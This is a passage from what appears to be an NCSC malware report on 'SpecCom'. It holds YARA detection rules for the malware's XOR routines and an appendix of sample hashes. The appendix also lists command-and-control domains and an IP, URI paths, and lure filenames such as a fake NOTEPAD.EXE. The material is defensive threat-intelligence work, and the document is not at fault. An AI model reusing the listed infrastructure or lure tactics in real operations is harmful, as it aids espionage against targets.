    $ = {8D 04 70 83 F9 08 72 04 8B 0F EB 02 8B CF 66 8B 00 66 33 02 46 66 89 04 59 3B 75 18 72 02 33 F6 8B 47 10 43}
    $ = {66 8B 34 46 66 33 34 3B 40 66 89 34 0B 3B 45 18 72 02 33 C0 8B 75 F0 8B 4A 10 46 89 75 F0 3B CE 77 B1}
  condition:
    (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them
}

```

<b>Description</b>	Detects SpecCom hard-coded key, based off API names, used in word-length XOR algorithm
<b>Precision</b>	No false positives have been identified during VT retrohunt queries
<b>Rule type</b>	YARA

```

rule SpecCom_stack_string_hardcoded_xor_key_api_names {
  meta:
    author = "NCSC"
    description = "Detects SpecCom hard-coded key, based off API names, used
in word-length XOR algorithm"

  strings:
    $ = {6A 47 58 6A 65 66 89 85 EC FE FF FF 58 6A 74 5E 6A 4D 8B C8 66 89 8D
EE FE FF FF 8B CE 66 89 8D F0 FE FF FF 59 6A 73 66 89 8D F2 FE FF FF 8B C8 66 89
8D F4 FE FF FF 59 6A 61 8B D1 66 89 95 F6 FE FF FF 66 89 95 F8 FE FF FF 5A 6A 67
66 89 95 FA FE FF FF 5A 6A 50 66 89 95 FC FE FF FF 8B D0 66 89 95 FE FE FF FF 5A
6A 6F 5F 6A 20 66 89 95 00 FF FF FF 8B D7 66 89 95 02 FF FF FF 8B D1 66 89 95 04
FF FF FF 5A 6A 53 8B DA 66 89 9D 06 FF FF FF 5B 66 89 9D 08 FF FF FF 6A 6E 8B D8
66 89 9D 0A FF FF FF 5B 66 89 9D 0C FF FF FF 6A 64 5B 66 89 9D 0E FF FF FF 6A 4D
5B 66 89 9D 10 FF FF FF 6A 61 8B D8 66 89 9D 12 FF FF FF 8B D9 66 89 9D 14 FF FF
FF 66 89 9D 16 FF FF FF 5B 66 89 9D 18 FF FF FF 6A 67 5B 66 89 9D 1A FF FF FF 8B
D8 66 89 9D 1C FF FF FF 8B DA 66 89 9D 1E FF FF FF 6A 47 5B 66 89 9D 20 FF FF FF
8B D8 66 89 9D 22 FF FF FF 8B DE 6A 45 66 89 9D 24 FF FF FF 5B 66 89 9D 26 FF FF
FF 6A 78 5B 66 89 9D 28 FF FF FF 6A 69 5B 66 89 9D 2A FF FF FF 6A 43 8B DE 66 89
9D 2C FF FF FF 5B 66 89 9D 2E FF FF FF 6A 64 8B DF 66 89 9D 30 FF FF FF 5B 66 89
9D 32 FF FF FF 6A 50 8B D8 66 89 9D 34 FF FF FF 5B 66 89 9D 36 FF FF FF 6A 72 5B
66 89 9D 38 FF FF FF 6A 63 8B DF 66 89 9D 3A FF FF FF 5B 66 89 9D 3C FF FF FF 6A
43 8B D8 66 89 9D 3E FF FF FF 8B D9 66 89 9D 40 FF FF FF 8B DA 66 89 9D 42 FF FF
FF 5B 66 89 9D 44 FF FF FF 6A 72 5B 66 89 9D 46 FF FF FF 6A 61 8B D8 66 89 9D 48
FF FF FF 5B 66 89 9D 4A FF FF FF 6A 50 8B DE 66 89 9D 4C FF FF FF 8B D8 66 89 9D
4E FF FF FF 5B 66 89 9D 50 FF FF FF 6A 72 5B 66 89 9D 52 FF FF FF 6A 63 8B DF 66
89 9D 54 FF FF FF 5B 66 89 9D 56 FF FF FF 8B D8 66 89 9D 58 FF FF FF 8B D9 66 89
9D 5A FF FF FF 66 89 9D 5C FF FF FF 6A 47 8B DA 66 89 9D 5E FF FF FF 5B 66 89 9D
60 FF FF FF 8B D8 66 89 9D 62 FF FF FF 8B DE 6A 54 66 89 9D 64 FF FF FF 5B 6A 69
66 89 9D 66 FF FF FF 5B 66 89 9D 68 FF FF FF 6A 63 5B 6A 6B 66 89 9D 6A FF FF FF
5B 6A 43 66 89 9D 6C FF FF FF 5B 6A 75 66 89 9D 6E FF FF FF 8B DF 66 89 9D 70 FF
FF FF 5B 6A 6E 66 89 9D 72 FF FF FF 5B 6A 47 66 89 9D 74 FF FF FF 8B DE 66 89 9D
76 FF FF FF 8B DA 66 89 9D 78 FF FF FF 5B 6A 44 66 89 9D 7A FF FF FF 8B D8 66 89
9D 7C FF FF FF 8B DE 66 89 9D 7E FF FF FF 5B 6A 43 66 89 9D 80 5B 6A 45 66 89 9D
82 5B 6A 78 66 89 9D 84 5B 6A 43 66 89 9D 86 8B DA 66 89 9D 88 5B 6A 70 66 89 9D
8A 8B DF 66 89 9D 8C 5B 6A 79 66 89 9D 8E 5B 6A 49 66 89 9D 90 5B 6A 6D 66 89 9D
92 5B 6A 61 66 89 9D 94 5B 6A 67 66 89 9D 96 5B 66 89 9D 98 6A 44 8B D8 66 89 9D
9A 8B DA 66 89 9D 9C 5B 6A 72 66 89 9D 9E 5B 6A 61 66 89 9D A0 5B 6A 77 66 89 9D
A2 5B 66 89 9D A4 6A 54 5B 6A 78 66 89 9D A6 8B D8 66 89 9D A8 5B 6A 43 66 89 9D
AA 8B DE 66 89 9D AC 8B DA 66 89 9D AE 5B 6A 6C 66 89 9D B0 5B 6A 48 66 89 9D B2
8B DF 66 89 9D B4 8B D9 66 89 9D B6 8B D8 66 89 9D B8 5B 6A 61 66 89 9D BA 5B 6A
6E 66 89 9D BC 5B 6A 64 66 89 9D BE 5B 6A 6C 66 89 9D C0 5B 6A 53 5A
6A 6E 66 89 9D C8 8B D0 66 89 9D CA 5A 6A 64 66 89 9D CC 5A 6A 4D 66 89 9D CE 5A
6A 61 66 89 9D D0 66 89 9D D6 8B D0 66 89 9D D2 8B D1 59 6A 67 66 89 9D D8 59 66
89 4D DA 6A 54 8B C8 66 89 9D DC 59 6A 69 66 89 9D DE 59 6A 6D 66 89 9D C2 66 89
4D E0 59 8B D8 66 89 9D C4 66 89 9D D4 66 89 9D E2 66 89 9D E4 66 89 9D E6 6A 75
58 66 89 9D E8}
  condition:
    (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them
}

```

## Appendix I – Other SpecCom Samples

<b>Filename</b>	N/A
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9N0, /tel/img.asp, /tel/word.asp, tel-com.sequoiame[.]com
<b>Size</b>	96768 bytes
<b>MD5</b>	43b50568062659828966944e3ed238ff
<b>SHA-1</b>	011a8571830e5423847f199a09bd4cb4f039c230
<b>SHA-256</b>	7c25a5a88bfcc0ea7af287921860c6ab6b88b90042738650386c334bdef5b62b
<b>Compile time</b>	2015-04-10 07:03:28

<b>Filename</b>	N/A
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: K42D4, /7kcowm/img.asp, /7kcowm/word.asp, evisa.uz.webfaction[.]info
<b>Size</b>	75264 bytes
<b>MD5</b>	5e83008e9fbedb4d675ff9e60c80d8f9
<b>SHA-1</b>	f8d549c1b778f0759eddc3eb3d30437e425d9b25
<b>SHA-256</b>	0cba1f9fc63bb139d27a99839da8ddad83a40dfd7de8b01a4f6cb516527082d4
<b>Compile time</b>	2014-02-27 03:45:55

<b>Filename</b>	N/A
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 1234QWER, /new/js.asp, /new/art.asp, update.ictdp[.]com
<b>Size</b>	88576 bytes
<b>MD5</b>	5a8783783472be67c09926cc139d5b27
<b>SHA-1</b>	4ea195fd2af0a4fa0ce2a9b052ca380206ad6fe6
<b>SHA-256</b>	15633871c3630a559dd4e2c7a9b93b02d17dd64ee60a2d7ba340ebd14d13ffa
<b>Compile time</b>	2018-03-08 07:47:50

<b>Filename</b>	N/A
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /momo/js.asp, /momo/art.asp, mofa.ungov[.]org
<b>Size</b>	88576 bytes
<b>MD5</b>	a776bfd7769d8a2fd278bba26066a2c2
<b>SHA-1</b>	3fe27e8c4ee748b960356e0684246e19e2857db1
<b>SHA-256</b>	1c00fd8202a6822257fe34e481c434af58ad0e3e731005a7fec994463c0117a9
<b>Compile time</b>	2018-02-01 09:34:58

<b>Filename</b>	N/A
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: VSUSK42D, /0kcowm/img.asp, /0kcowm/word.asp, evisa.uz.webfaction[.]info
<b>Size</b>	140800 bytes
<b>MD5</b>	a563399a8e9c4ff2f64fb6a9d77f2e4d
<b>SHA-1</b>	1fc237ea0ad77f77318c4f0e2c434c812fb6de3c
<b>SHA-256</b>	b66104b4eb7d9cb169707289a1a0deac7ad8e262799b42d142bb5c009dcba4b5
<b>Compile time</b>	2014-04-03 03:24:17

<b>Filename</b>	wsvrc.exe
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 12345!@#\$\$%, /help/js.asp, /help/art.asp, help.2019mfa[.]com
<b>Size</b>	97280 bytes
<b>MD5</b>	5a91ccabd2b12ac56ba5170cf9ff8343
<b>SHA-1</b>	24ffb24a73e68e6f5c23ab090f9ce5ac5dd41a8e
<b>SHA-256</b>	78e7c41458e1ddf336f0d2e9625abbd0b3e86db18aee7377af5711bc927da35
<b>Compile time</b>	2004-12-21 03:55:57

<b>Filename</b>	wsvrc.exe
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /momo/js.asp, /momo/art.asp, mofa.ungov[.]org
<b>Size</b>	88576 bytes
<b>MD5</b>	b4d0323f7009ff471b9741210b39ae2b
<b>SHA-1</b>	14196eda327da4cb26bf39c2bc11dc131ba6d754
<b>SHA-256</b>	3355174b6cd213792be46ed805810acf466d32485a932804331a0dfb219048ea
<b>Compile time</b>	2018-02-01 09:34:58

<b>Filename</b>	Investigating China's Crimes against Humanity.exe
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: htwoDGE, /gin/tab.asp, /gin/kw.asp, infodocs.kginfocom[.]com
<b>Size</b>	71168 bytes
<b>MD5</b>	3ecfc67294923acdf6bd018a73f6c590
<b>SHA-1</b>	3557d162828baab78f2a7af36651a3f46d16c1cb
<b>SHA-256</b>	489fca69a622195328302e64e29b6183feac90826dce198432d603202ca4d216
<b>Compile time</b>	2020-04-12 20:57:49

<b>Filename</b>	wsvrc.exe
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /news/js.asp, /news/art.asp, 81.95.7.20
<b>Size</b>	88576 bytes
<b>MD5</b>	99813cee850313ff4774803bac9cff35
<b>SHA-1</b>	63b917b8fd93dec9dac5ab5261d4c6818fb0cb19
<b>SHA-256</b>	37c38a857c4a30abb559b0aec5fce7aa54117f7ecddde437fa988dd3527fd6d0
<b>Compile time</b>	2018-01-05 06:19:12

<b>Filename</b>	N/A
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /news/js.asp, /news/art.asp, hwyigd.laccessal[.]org
<b>Size</b>	106496 bytes
<b>MD5</b>	b62c2c52f9cfe057660ce5ce593eb6e1
<b>SHA-1</b>	3a865e3017ef072726712aacb854093b6eac55ee
<b>SHA-256</b>	14c9c48614e0e105e53014cdfdaded738671579a226f7a1345d15662211b45a35
<b>Compile time</b>	2016-09-02 05:52:55

<b>Filename</b>	ksfgw.exe
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /news/js.asp, /news/art.asp, 81.95.7.20
<b>Size</b>	88576 bytes
<b>MD5</b>	355c1de5b86201f9917ff3e583dce2b6
<b>SHA-1</b>	b1657e023259ec9369f92978025f589069eee354
<b>SHA-256</b>	3c30a2075d7ca9b825d81167b79d45ce27a1bf07a0052412359afcdc73fdf51c
<b>Compile time</b>	2018-01-05 06:19:12

<b>Filename</b>	mmswp.exe
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 12345!@#\$, /help/js.asp, /help/art.asp, help.2019mfa[.]com
<b>Size</b>	97280 bytes
<b>MD5</b>	16e61624827d7785740b17c771a052e6
<b>SHA-1</b>	3fa8f0de425317407a540c359dfcb5e87fc02abf
<b>SHA-256</b>	fc3cdc3932d69c05c735040245f94fafe22b79cd865bb7d23c4364a3f4e8c774
<b>Compile time</b>	2004-12-21 03:55:57

<b>Filename</b>	Puppet.exe
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: F4#564dd, /hall/tab.asp, /hall/kw.asp, uslugi.mahallafond[.]com
<b>Size</b>	75264 bytes
<b>MD5</b>	85ea346e74c120c83db7a89531f9d9a1
<b>SHA-1</b>	df8201f67beb99d7c6094e9d67f3a54c94809dda
<b>SHA-256</b>	42e781f5e9c00d09cb5f7697a7b2fc9b04d77cc7978dcca8098f77d57693ca6c
<b>Compile time</b>	2018-09-12 17:58:23

<b>Filename</b>	N/A
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 13579AA, /images/js.asp, /images/art.asp, upload.vocalspektor[.]com
<b>Size</b>	89600 bytes
<b>MD5</b>	ccc7f88b72c286fd756e76309022e9f8
<b>SHA-1</b>	4f2ba5c8848ec94835f4070acb92dcad46769995
<b>SHA-256</b>	e683c86fd40eac23bc6435f479518ea5d80f90da294d5ad21d024dd7acc8a6ac
<b>Compile time</b>	2004-11-07 06:39:21

<b>Filename</b>	N/A
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 1234QWER, /new/js.asp, /new/art.asp, update.ictdp[.]com
<b>Size</b>	118606 bytes
<b>MD5</b>	d2890aded5aa4e540317a34ae01407cd
<b>SHA-1</b>	5bfe3beeb21cd6018646b9715bc836d1a38ad583
<b>SHA-256</b>	e7a5205bd0d941a7b6c88d31f3b958c890a4f09a49ec8a3a45f4bedaf194afeb
<b>Compile time</b>	2018-03-08 07:47:50



<b>Filename</b>	акт IDMSUZ_3.exe
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: F4#564dd, /hall/tab.asp, /hall/kw.asp, uslugi.mahallafond[.]com
<b>Size</b>	77824 bytes
<b>MD5</b>	35caae29c47dfb570773f6d5fd37e625
<b>SHA-1</b>	6519a71c64aa216673f3582da1338e22c4ad78a8
<b>SHA-256</b>	6395c4a8495d3bff293a8a55ca3c5ebf68a616ee212b2a7284610b0a3f7bb5d4
<b>Compile time</b>	2020-01-22 18:15:48

<b>Filename</b>	N/A
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: FG534VC6, /sync/tab.asp, /sync/kw.asp, ousync.kginfocom[.]com
<b>Size</b>	72192 bytes
<b>MD5</b>	3562bf97997c54d74f58d4c1ad84fcea
<b>SHA-1</b>	5a08e5bce797142c6d46675a6c070e503e987dd7
<b>SHA-256</b>	6ffe81c2883c298a65477ba2bc7ba1063315ad6b26f0188e3361d0fa924575ae
<b>Compile time</b>	2019-10-06 17:55:02

<b>Filename</b>	N/A
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 2ik2gl, /css/js.asp, /css/art.asp, 6z98os.id597[.]link
<b>Size</b>	88576 bytes
<b>MD5</b>	5ea42089cf91464b9c0c42292c18ba4c
<b>SHA-1</b>	88927e4d9a6a1ce5e656c599c0b0f462af97ba57
<b>SHA-256</b>	784cf7d224974f7e2c43cf10580c42a2521556608a5dd4a11247d09a77f5c8df
<b>Compile time</b>	2018-02-07 08:16:28

<b>Filename</b>	wsvrc.exe
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 12345!@#%\$, /help/js.asp, /help/art.asp, help.2019mfa[.]com
<b>Size</b>	97872 bytes
<b>MD5</b>	33f42e9678ee91369d11ef344bbd5a0d
<b>SHA-1</b>	8b8a5ed2f2921d355d82e342595b1e73f5ed2560
<b>SHA-256</b>	52a53e7e250fa9faa823d26421ca8af42ac40c27bac1d5af65b452c8987cda72
<b>Compile time</b>	2004-12-21 03:55:57

<b>Filename</b>	N/A
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /crss/js.asp, /crss/art.asp, dcc.ungov[.]org
<b>Size</b>	83968 bytes
<b>MD5</b>	aa107be86814d9c86911a2a7874d38a0
<b>SHA-1</b>	8cfd45f1364f569522399d1e246039cffbde6d82
<b>SHA-256</b>	295b987c8926399c063ff20d2484477fe31cd2188b604a919dbfa11d9c34b988
<b>Compile time</b>	2008-03-01 03:02:37

<b>Filename</b>	wsvrc.exe
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 13579AA, /images/js.asp, /images/art.asp, upload.vocalspektor[.]com
<b>Size</b>	96768 bytes
<b>MD5</b>	c485871b0837ee05697b3d2be67a7962
<b>SHA-1</b>	965720630d5fd6a774d821f37f3ba5c1dac34079
<b>SHA-256</b>	83bc8f011cba273c9c0dd2070cad429664ea5cdef05387edfad7e0cd6a389b66
<b>Compile time</b>	2004-12-22 06:00:18

<b>Filename</b>	wsvrc.exe
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 1234QWER, /new/js.asp, /new/art.asp, update.ictdp[.]com
<b>Size</b>	88576 bytes
<b>MD5</b>	e44a0ad175c535a1c136ea71513286f5
<b>SHA-1</b>	f6901a575090a83832593ff1eeb6ae08d4b85c78
<b>SHA-256</b>	96fa3b2466ab06fbaf17f0d19507fb5b6614d1648d9811904a04d017b38af74a
<b>Compile time</b>	2018-03-08 07:47:50

<b>Filename</b>	Диппаспорт.exe
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 13579AA, /images/js.asp, /images/art.asp, upload.vocalspektor[.]com
<b>Size</b>	96768 bytes
<b>MD5</b>	06d72a4d99fcd76a3502432657f3c999
<b>SHA-1</b>	9976e5121c264a2b0dcf09ddd6c8cb53fdd964f8
<b>SHA-256</b>	27312973aefcfa2511573a28ff42ef12ecbfcf56db42bf4d1371b0a1f1f2732c
<b>Compile time</b>	2004-12-22 06:00:18

<b>Filename</b>	N/A
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 13579AA, /images/js.asp, /images/art.asp, upload.vocalspektor[.]com
<b>Size</b>	89600 bytes
<b>MD5</b>	9154e59b67166a226fcfd4bb41de8b01
<b>SHA-1</b>	b4a26fdb25df67d5378b677f8b6fb4fb0f44589b
<b>SHA-256</b>	ff97e35aec84882611d56dc5758e7dedd4839e326e5708d6d5ae4dbd296dd62d
<b>Compile time</b>	2004-11-07 06:39:21

<b>Filename</b>	N/A
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 2ik2gl, /css/js.asp, /css/art.asp, 6z98os.id597[.]link
<b>Size</b>	88576 bytes
<b>MD5</b>	cff6d9f5d214e3366d6b4ae31c413adc
<b>SHA-1</b>	6305784544936d4b1b2f7ede4028c33094ddcea2
<b>SHA-256</b>	c0082f8f1e49c0805c4eaacf5cf5b99ae30eeea585fd77cbd50904927052a18c
<b>Compile time</b>	2018-02-07 08:16:28

<b>Filename</b>	N/A
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /mail/js.asp, /mail/art.asp, mail1.ictdp[.]com
<b>Size</b>	88576 bytes
<b>MD5</b>	66bfde24edb848b230b0bf0589b9ed4d
<b>SHA-1</b>	c862c26c9d1d9d513efae4063f275f0502e125a9
<b>SHA-256</b>	9a3c2ba8ddbfeffcb86e53f5193fe74747d7df2ca33ba839b1b23d04d0d5869e4
<b>Compile time</b>	2008-01-16 06:18:26

<b>Filename</b>	NOTEPAD.EXE
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /news/js.asp, /news/art.asp, hwyigd.laccessal[.]org
<b>Size</b>	134656 bytes
<b>MD5</b>	6dfd06f91060e421320b6ebd63c957f0
<b>SHA-1</b>	10d3f7e7376c88429d829ed084974966462ecbfc
<b>SHA-256</b>	d31e440e0d6f98209a9c9c7b4e332f417e41030a4bf4a4ae99d326cec24807af
<b>Compile time</b>	2017-03-02 01:39:15

<b>Filename</b>	wsvrc.exe
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9ND, /mail/js.asp, /mail/art.asp, mail1.ictdp[.]com
<b>Size</b>	88576 bytes
<b>MD5</b>	4ddf6a1e37fc46316eb7810525d4942a
<b>SHA-1</b>	db6939bf8b45f1902da3c82446e1dc31334e4e99
<b>SHA-256</b>	4229630102f0b972e9464a48fa67b4f7b1d5def8ad16b8e258523dabb7bda9a8
<b>Compile time</b>	2008-01-16 06:18:26

<b>Filename</b>	материалы к массовому беспорядку.exe
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: F4#564dd, /hall/tab.asp, /hall/kw.asp, uslugi.mahallafond[.]com
<b>Size</b>	72192 bytes
<b>MD5</b>	c00f6268075e3af85176bf0b00c66c13
<b>SHA-1</b>	a3343f4cd3eb8415d3b787ff442074180d108d3a
<b>SHA-256</b>	e9013f35ce11fc4c5eb2c21827bdc459202d362365d6ea5b724dee4fe0088bd1
<b>Compile time</b>	2018-09-12 17:58:39

<b>Filename</b>	N/A
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 12345!@#\$\$%, /help/js.asp, /help/art.asp, help.2019mfa[.]com
<b>Size</b>	97872 bytes
<b>MD5</b>	84575619a690d3ef1209b7e3a7e79935
<b>SHA-1</b>	f2ee686c24eddea9ca495cfbb790798e6b6d451b
<b>SHA-256</b>	ab1983217880dad9c0481aab5b06e1fe4b9caaf8d56d8a03bf794aca18f2e4c6
<b>Compile time</b>	2004-12-21 03:55:57

<b>Filename</b>	NOTEPAD.EXE
<b>Description</b>	SpecCom sample - Windows EXE (PE) x86 with configuration: 84H9N0, /jquery/js.asp, /jquery/art.asp, update.mudofaa[.]com
<b>Size</b>	97792 bytes
<b>MD5</b>	312fed679cbab1e42ca566f2313ed1a3
<b>SHA-1</b>	fed2d5dccb8fb0a465bcd645bf3a1f7b94a70c10
<b>SHA-256</b>	ff1055da48829a69709702f1b44f5af0aa9be013bdc7fdf14db9dc66180d476d
<b>Compile time</b>	2015-06-10 03:45:37

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